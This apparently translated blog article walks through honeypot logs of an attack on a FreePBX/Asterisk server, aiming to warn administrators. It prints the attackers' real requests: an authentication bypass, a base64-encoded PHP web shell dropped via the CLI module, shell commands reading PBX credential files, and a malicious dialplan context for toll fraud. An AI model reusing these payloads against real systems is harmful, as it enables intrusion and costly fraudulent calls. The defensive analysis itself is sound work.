How to crack your Asterisk

How to crack your Asterisk

You must have heard something about IP-PBX hacking, when the attackers call to other countries on international calls, and the victim gets a large bill from the provider. Unfortunately, that’s true and now I’m going to bone up the method of such an attack on the Asterisk IP PBX with FreePBX graphical shell, which allows bad guys to unfairly profit from other people’s mistakes, so that you can protect yourself and not become another victim at the expense of which the call to Somalia.
TL;DR: FreePBX GUI has remote code execution (RCE – Remote Code Execution) vulnerabilities, in different components. Here are some:CVE-2014-7235 – Vulnerability in the ARI Framework (Asterisk Recording Interface – ARI) in FreePBX versions, 2.10.x, and 2.11 to
SEC-2016-004 – Vulnerability with Hotel Wakeup modules (all versions between 13 versions). 0.1alpha2 and 13.0.14) and System Recordings (all versions between 13.0.1beta1 and 13.0.26).
CVE-2019-19006 (SEC-2019-001) – Framework FreePBX vulnerability in versions below v13.0.197.13, v14.0.13.11 and v15.0. 16.26All these vulnerabilities allow remote authentication bypass (i.e. no login and password required) and execute commands on server with problematic version of software. Attackers use these vulnerabilities to make outgoing calls through their context. This means that if you leave FreePBX webmord open to the whole Internet (default port 80 HTTP, 443 HTTPS), sooner or later – others will call at your expense.

So DON’t NEVER open the web interface of your IP PBX to the whole Internet, and generally try to restrict access to any ports. Also Always pay attention to the notification about detected vulnerabilities and timely install security updates on all products! But if you do decide to leave your FreePBX with an open web port and score on updates, read what happens next.


Before you achieve your goal (call at your expense) attackers need to first find your open FreePBX web interface on the network. To do this is very simple, you need to scan the ports. For our attack it needs to find port 80 (HTTP), 443 (HTTPS) or 8080. These are the ports where the authentication page usually hangs. Great, we found a bunch of addresses with the right port sticking out, but how do we know that it is FreePBX with the vulnerable version of the software? There are several ways – you can hit everything in the hope that the server is vulnerable, you can write a script that will collect additional information (so-called banners) about the FreePBX version. By default – the installed version is displayed on the same page with the authentication window. Let’s open an HTTP log of messages to our server (you can find it right here: /var/log/httpd/access_log) and see how the attackers act.
In order to watch first-hand how we are being broken, we have created what is known as a Honeypot – a deliberately unpatched, vulnerable server in order to study the hackers’ actions. We installed FreePBX version 13 on it and exposed the web interface (opened ports 80 and 443 worldwide).

About an hour after “opening” our trap, we saw this picture:

The picture shows the calls to the resources of our server (, the responses from it and the User-Agents from which the calls were made. For example, consider the following appeal: – [30/May/2020:11:35:57 +0300] “GET /admin HTTP/1.1” 301 316 “https://11.22.33[…44/” “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36”



    • 169.197.108[…]42 – address from which the request was made;
    • GET /admin – page request https://11.22.33[.]44/admin;
    • 301 – HTTP 302 response (Moved Permanently – Moved Forever). The server response, meaning the requested resource (page https://11.22.33[.]44/admin ) has been moved;
    • “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36” – User Agent Google Chrome version 60 for Windows 10. This means that the Chrome.

browser was used to access https://11.22.33[.]44/admin.

For clarity, we identified the lucky ones who found what they were looking for (the server responded with 200 OK and returned the requested information). These included:

  • 169.197.108[.]42
  • 198.108.66[.]192
  • 45.143.221[.]50
  • 173.212.225[.]214
  • 45.143.220[.]111

If you look closely, you can see that they all found the same thing – /admin/config.php, but let’s look at the actions 173.212.225[.]214.

Note that it also tries to access resources explicitly not related to FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), and when it finds /admin/config.php it immediately tries to execute an interesting script without success:

/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1″ 404 284 “-” “libwww-perl/6.42” .
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1″ 500 53870 “-” “python-requests/2.22.0”
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*[email protected]%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1″ 403 43 “” “python-requests/2.22.0”
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1″ 500 53870 “-” “python-requests/2.22.0”

Applicability (DELIVERY)

Those calls are nothing but an attempt to create a script on our IP PBX to make outgoing calls. However, even though we were detected, the attacker is unable to access the desired component, the script /rr.php, the server replies with an HTTP 403 (Forbidden) message.

Other notice the User-agents – python-requests/2.22.0 and libwww-perl/6.42. These are no longer just browsers, but the WWW libraries Pearl and Python.

Later, someone at 45.143.220[.]111 still manages to create /rr.php. A slightly different User-Agent is used for this purpose: “python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64”.

Создание rr.php

Creation rr.php occurs after entering:

“GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*[email protected]%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1. 1” 200 32 “https://11.22.33[.]44//admin/config.php?display=cli” “python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64”

The contents of the script itself rr.php are encrypted with the base64 algorithm and hidden in this short line:


That decryption:

Содержимое rr.php

This is a small php script we put in the directory /var/www/html/ and then the most interesting thing starts. Have you noticed the line config.php?display=cli? Yes, the attackers have successfully accessed the command line and can now do whatever they want!

Pay attention to changing the User Agent at 16:17:53 – “curl/7.29.0”. This means that someone is going somewhere else through the curl utility (most likely the same command line). Let’s find out – why?

installation (INSTALLATION)

To do this we open another log /var/log/httpd/error_log and see what has happened since curl.

was used.

Error log

It immediately catches the eye to Pastebin (a site where you can upload any text or code for everyone to view) on the link /raw/Dbnw6kqb. Clicking on this link we are met by the already familiar encoding base64, and the code for some reason repeated twice:



Расшифрованный код

All this joy is preserved in the path /var/www/html/badr.php

In fact, there are quite a few variations of this script, sometimes it is downloaded in parts from different sites, sometimes attempts to wipe out evidence of compromise can be found. I will leave some examples here so that you can read – example#2. As you can see, they are quite similar and their essence is quite simple – steal our Amportal config (the entire FreePBX configuration with the ARI and AMDB passwords) to then slip us the modified file /etc/amportal.conf and actually create a malicious context to call us.


We, or rather the bad guys, are almost at the finish line. Do you remember the simple malicious script rr.php that was recently slipped to us? It’s time to get back to it!

It is a simple php script that asks for only one variable – yokyok and allows to pass absolutely any parameter into it. Using this great feature, hackers pass there (time 16:17:51 and 54) the modified configuration file /etc/amportal.conf and the modified file /etc/asterisk/sip_additional.conf.

How can we guess – in sip_additional.conf we now have a malicious context that will allow attackers to call at our expense. Here it is:

[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($[“${MOHCLASS}”=”]?default:${MOHCLASS})});.
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh


As you probably already understood, they will also call through rr.php and yokyok. Did you want to call Uganda or the Seychelles yokyok? Please: – [31/May/2020:16:25:14 +0300] “GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional. conf;%20/usr/sbin/asterisk%20-rx%20’channel%20originate%20Local/[email protected]%20application%20wait%201600′ HTTP/1.1” 200 16290 “-” “libwww-perl/6.05” – [31/May/2020:16:55:06 +0300] “GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional. conf;%20/usr/sbin/asterisk%20-rx%20’channel%20originate%20Local/[email protected]%20application%20wait%201600′ HTTP/1.1” 200 16290 “-” “libwww-perl/6.05”

And then you will see in CDR Reports such a picture and pay to the provider by the accounts:


At least “thank you” said. Have you noticed the name of the context we were given – thankuohoh? It’s a pity we can’t listen to what they were saying… ?

Well, if you don’t want your Asterisk to go to hackers too, you’d better run and close 443, 80, 8080 and install the latest security updates!

PS: By the way, our trap was clearly broken through vulnerability CVE-2019-19006 (SEC-2019-001):

[SECURITY] (BMO/Notifications.class.php:507) – [NOTIFICATION]-[freepbx]-[VULNERABILITIES] – There is 1 module vulnerable to security threats (framework (Cur v. should be upgraded to v. to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) – framework Online upgrade available (


WARNING! All links in the articles may lead to malicious sites or contain viruses. Follow them at your own risk. Those who purposely visit the article know what they are doing. Do not click on everything thoughtlessly.


0 0 vote
Article Rating
Notify of
Inline Feedbacks
View all comments

Do NOT follow this link or you will be banned from the site!
Would love your thoughts, please comment.x

Spelling error report

The following text will be sent to our editors: